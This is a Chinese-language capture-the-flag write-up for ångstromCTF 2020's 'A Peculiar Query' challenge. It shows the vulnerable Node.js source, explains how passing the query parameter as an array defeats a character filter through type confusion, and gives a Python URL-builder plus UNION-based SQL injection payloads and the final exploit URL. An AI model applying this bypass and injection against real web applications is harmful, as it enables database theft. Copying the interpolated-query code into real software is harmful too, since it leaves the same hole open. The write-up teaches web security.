一道Node.js类型混淆污染与字符逃逸实现SQL注入的题目分析 5 min read
本文最后更新于 575 天前,其中的信息可能已经有所发展或是发生改变。

Author:颖奇L’Amore

Blog:www.gem-love.com

近日在参加🇺🇸ångstromCTF 2020时做了一个比较好的Node.js的题目


名称:A Peculiar Query

链接:https://peculiarquery.2020.chall.actf.co/

考点:Node.js代码审计、类型混淆污染、SQLi

难度:Medium

Code

是本次比赛质量比较高的一个题,打开之后是个搜索的界面,同时给了源码:

const express = require("express");
const rateLimit = require("express-rate-limit");
const app = express();
const { Pool, Client } = require("pg");
const port = process.env.PORT || 9090;
const path = require("path");

const client = new Client({
	user: process.env.DBUSER,
	host: process.env.DBHOST,
	database: process.env.DBNAME,
	password: process.env.DBPASS,
	port: process.env.DBPORT
});

async function query(q) {
	const ret = await client.query(`SELECT name FROM Criminals WHERE name ILIKE '${q}%';`);
	return ret;
}

app.set("view engine", "ejs");

app.use(express.static("public"));

app.get("/src", (req, res) => {
	res.sendFile(path.join(__dirname, "index.js"));
});

app.get("/", async (req, res) => {
	if (req.query.q) {
		try {
			let q = req.query.q;
			// no more table dropping for you
			let censored = false;
			for (let i = 0; i < q.length; i ++) {
				if (censored || "'-\".".split``.some(v => v == q[i])) {
					censored = true;
					q = q.slice(0, i) + "*" + q.slice(i + 1, q.length);
				}
			}
			q = q.substring(0, 80);
			const result = await query(q);
			res.render("home", {results: result.rows, err: ""});
		} catch (err) {
			console.log(err);
			res.status(500);
			res.render("home", {results: [], err: "aight wtf stop breaking things"});
		}
	} else {
		res.render("home", {results: [], err: ""});
	}
});

app.listen(port, function() {
	client.connect();
	console.log("App listening on port " + port);
});

首先,获取了参数q然后进行SQL查询,基本可以肯定是是个SQL注入题:

async function query(q) {
	const ret = await client.query(`SELECT name FROM Criminals WHERE name ILIKE '${q}%';`);
	return ret;
}

但是紧接着就是个waf,对q挨个字符判断,如果匹配到' - " .就把后面都置为****:

let q = req.query.q;
// no more table dropping for you
let censored = false;
for (let i = 0; i < q.length; i ++) {
	if (censored || "'-\".".split``.some(v => v == q[i])) {
		censored = true;
		q = q.slice(0, i) + "*" + q.slice(i + 1, q.length);
	}
}

如果验证waf通过,就会截取q的前80位进行sql查询,输出查询结果:

q = q.substring(0, 80);
const result = await query(q);
res.render("home", {results: result.rows, err: ""});
类型污染Bypass

和这个比赛同期开始的SuSeC CTF也考了类似的考点,在那篇wp里我写了比较详细了分析,参考:

🇮🇷SuSeC CTF 2020 Writeup & 基于Node.JS的sha1绕过分析

可以看到,这个匹配危险字符是对字符串q的任何一个字符进行匹配。但是,谁规定q就是字符串了?

let q = req.query.q;

php题目的一个常规套路就是用数组去绕过哈希,因为PHP中的md5() sha1()等函数不能处理数组,如果传进参数为数组则返回false,false等于false故可以绕过比较。如果本题目中的q也是一个数组,那么这个遍历q的for()循环的每一轮中,q[i]就不再是一个单字符了,而有可能成为字符串。举个例子:

["y1ng","gem-love.com","sql ' and 1=1 ' inject"]

q[i]就分别是y1ng、gem-love.com、sql ‘ and 1=1 ‘ inject,对于第三个元素,虽然里面有危险字符',然而对于字符串和字符是不满足==的:

"'-\".".split``.some(v => v == q[i])

测试:

let q = ['y1ng','\\\\', " or '1'='1' ", 'a-a'];

for (let i = 0; i < q.length; i ++) {
	if (censored || "'-\".".split``.some(v => v == q[i])) {
		console.log('waf!');
		console.log(q[i]);
	}
}

WAF被成功绕过。

类型问题

对危险字符判断后,对q进行了substring()截取之后进行sql查询:

q = q.substring(0, 80);

那么数组substring()截取得到的是什么呢?运行一下发现报错了:

TypeError: q.substring is not a function

这是因为substring()方法是String对象的方法,而Array无substring()方法,因此报错。

SuSeC CTF那个Node.js的题目的wp中写了:数组+字符串=字符串,实际上JavaScript万物皆是字符串,函数、对象、字符串、数字相加,加出来都是字符串。正好,如果匹配到危险字符,就会拼接上*,这样q就从Array变成了String

q = q.slice(0, i) + "*" + q.slice(i + 1, q.length);

所以我们可以在数组中故意加上一个元素,让它被匹配成功,这样q就被转成了字符串,substring()方法就不会报错了,测试:

let q = ['y1ng','\\\\', "'", 'a-a'];
let censored = false;
for (let i = 0; i < q.length; i ++) {
	if (censored || "'-\".".split``.some(v => v == q[i])) {
		censored = true;
		q = q.slice(0, i) + "*" + q.slice(i + 1, q.length);
	}
}
q = q.substring(0, 80);
console.log(q);
长度问题

虽然运行成功了,但是q的第一个元素y1ng却被做星号处理了:

这是因为数组的length和字符串的length不一样,SuSeC的wp里也写了,数组的length指的是数组元素个数,字符串length是字符的个数。这个q数组中的q[2]被匹配,q被转为字符串"y1ng\\'a-a",现在q.length变了,q[2]也从一个数组的元素变成了字符n,后面的字符被*了,导致最后q输出为y1n********

本题目要进行SQL注入,因为这个length的原因注入的payload肯定会被*掉,如何解决?

肯定的是,q[]数组的第一个元素q[0]是要用的payload。在遍历数组查找非法字符时,如果这个非法字符在数组中出现的位置(数组的index)与q[0](payload)的长度刚好匹配,就可以让整个payload都逃逸出来。比如让”y1ng“逃逸出来:

let q = ['y1ng', 'a', 'a',  "'"];
let censored = false;
for (let i = 0; i < q.length; i ++) {
	if (censored || "'-\".".split``.some(v => v == q[i])) {
		censored = true;
		q = q.slice(0, i) + "*" + q.slice(i + 1, q.length);
	}
}
q = q.substring(0, 80);
console.log(q);

说的再明白点就是:payload多长,就在第几个元素出现非法字符。比如y1ng长度为4,就在第4个元素(q[3])上放一个非法字符,这样y1ng就刚刚好逃逸出来。

SQL注入

可能有人就会问了:对于一个从query中得到的q,如何为q[]数组添加元素?

其实很简单,只要?q[]=y1ng&q[]=a&q[]=a&q[]=a&q[]=a&q[]=a&q[]=a&q[]=a就可以了

所以写一个脚本来自动完成这些中间数组元素的填充:

# '''
# 颖奇L'Amore www.gem-love.com
# 转载请勿删除本水印
# '''
from urllib.parse import *

#your payload here
payload = "1' and 1=2 union select table_name from information_schema.tables--"  
payload = quote(payload)
length = len(payload)
url = 'https://peculiarquery.2020.chall.actf.co/?q[]=' + payload
for i in range(0, length-2):
  url += '&q[]=y1ng'
url += "&q[]="+quote("'")
print(url)

还有个问题就是substring(0, 80)只截取了80个字符,所以一定要构造一下自己的payload,不要过长。还好题目能够把多行数据都返回并显示出来:

后面就注就完了,在脚本的payload处填上注入语句,什么过滤都没有,直接往出注就完了,最终的payload为:

https://peculiarquery.2020.chall.actf.co/?q[]=1%27%20and%201%3D2%20union%20select%20crime%20from%20criminals--&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=y1ng&q[]=%27

flag:actf{qu3r7_s7r1ng5_4r3_0u7_70_g37_y0u}

后记
  1. JavaScript中数组与字符串相加后返回字符串
  2. 数组的length和字符串的length不同
  3. 如果出现变量类型转换,则会导致var.length改变,引发某些安全问题

颖奇L'Amore原创文章,转载请注明作者和文章链接

本文链接地址:https://www.gem-love.com/websecurity/2070.html

注:本站定期更新图片链接,转载后务必将图片本地化,否则图片会无法显示

暂无评论

发送评论 编辑评论

上一篇
下一篇